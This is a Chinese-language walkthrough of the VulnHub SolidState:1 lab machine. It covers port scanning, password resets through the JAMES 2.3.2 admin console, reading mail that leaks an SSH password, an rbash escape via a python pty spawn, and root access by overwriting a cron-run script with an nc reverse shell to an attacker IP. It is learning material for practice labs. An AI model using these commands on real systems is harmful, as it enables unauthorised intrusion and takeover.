1. 程式人生 > 其它 >VulnHub-SolidState: 1 靶場滲透測試

VulnHub-SolidState: 1 靶場滲透測試

時間:2021.8.17

靶場資訊:
地址:https://www.vulnhub.com/entry/solidstate-1,261/
釋出日期:2018年9月12日
目標:得到root許可權&找到flag.txt

一、資訊收集

1、獲取靶機IP地址

nmap -sP 192.168.137.0/24

由探測結果可知,靶機的IP為192.168.137.144

2、掃描開放的埠和服務

nmap -sS -sV -T5 -p- 192.168.137.144

得到開放的埠資訊:

22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
25/tcp   open  smtp        JAMES smtpd 2.3.2
80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
110/tcp  open  pop3        JAMES pop3d 2.3.2
119/tcp  open  nntp        JAMES nntpd (posting ok)
4555/tcp open  james-admin JAMES Remote Admin 2.3.2

3、網站資訊收集

開啟,發現只是一些介紹的資訊,用nikto,dirb,gobuster掃了一波,也沒發現什麼有用的

二、漏洞探測

前面通過nmap掃到了4555埠,搭建了一個james郵件伺服器,使用telnet連線

使用listusers列出所有使用者,後面肯定是想著登入這些使用者的郵箱裡檢視郵件的,所以這裡將所有使用者的密碼重置一下

user: james
user: thomas
user: john
user: mindy
user: mailadmin

有了pop3的使用者名稱和密碼,登入檢視郵件,james裡面沒發現郵件

john下發現一封沒有價值的郵件

在mindy使用者的郵箱中發現了一封記錄著mindy ssh登入密碼的郵件

username: mindy
pass: P@55W0rd1!2@

有了密碼就ssh登入看看,發現是一個rbash(限制型bash),是平時所謂的 restricted shell的一種,也是最常見的 restricted shell(rbash、ksh、rsh等)

檢視當前目錄發現user.txt得到flag1,還發現一個bin目錄,裡面記錄著可以使用的shell命令

三、漏洞利用

滲透中遇到restricted shell是一件很煩人的事,可以參考下面這篇文章來突破:

rbash逃逸大全

這裡我們在ssh 登入時可以通過spawn shell逃逸

ssh username@IP  "export TERM=xterm;python -c  'import pty;pty.spawn(\"/bin/bash\")'"

也可以根據前面探測到的james來利用,這個版本存在遠端命令執行的漏洞,漏洞的exp可參考:

James-RCE

將exp下載到kali上,也可以在kali上搜索到對應的exp,然後稍微修改exp即可使用。

這裡還是用rbash逃逸來進行滲透,由於之前探測到有james,我們查詢對應的程序,發現james在/opt目錄下

進入opt目錄下,發現一個一root身份執行的py指令碼,檢視發現是清理/tmp目錄的

四、提權

猜想應該是定時任務,我們修改tmp.py,直接讓它反彈一個root許可權的shell

echo 'import os; os.system("/bin/nc 192.168.137.150 8888 -e /bin/bash")' > /opt/tmp.py

在kali這邊監聽8888埠,大概兩分鐘就會反彈shell過來,檢視flag即可

總結

這臺靶機目的是讓我們掌握Apache James Server 2.3.2的漏洞利用方式,提權的方式之前也接觸過許多次,總體難度還不錯。

趁著年輕,多學些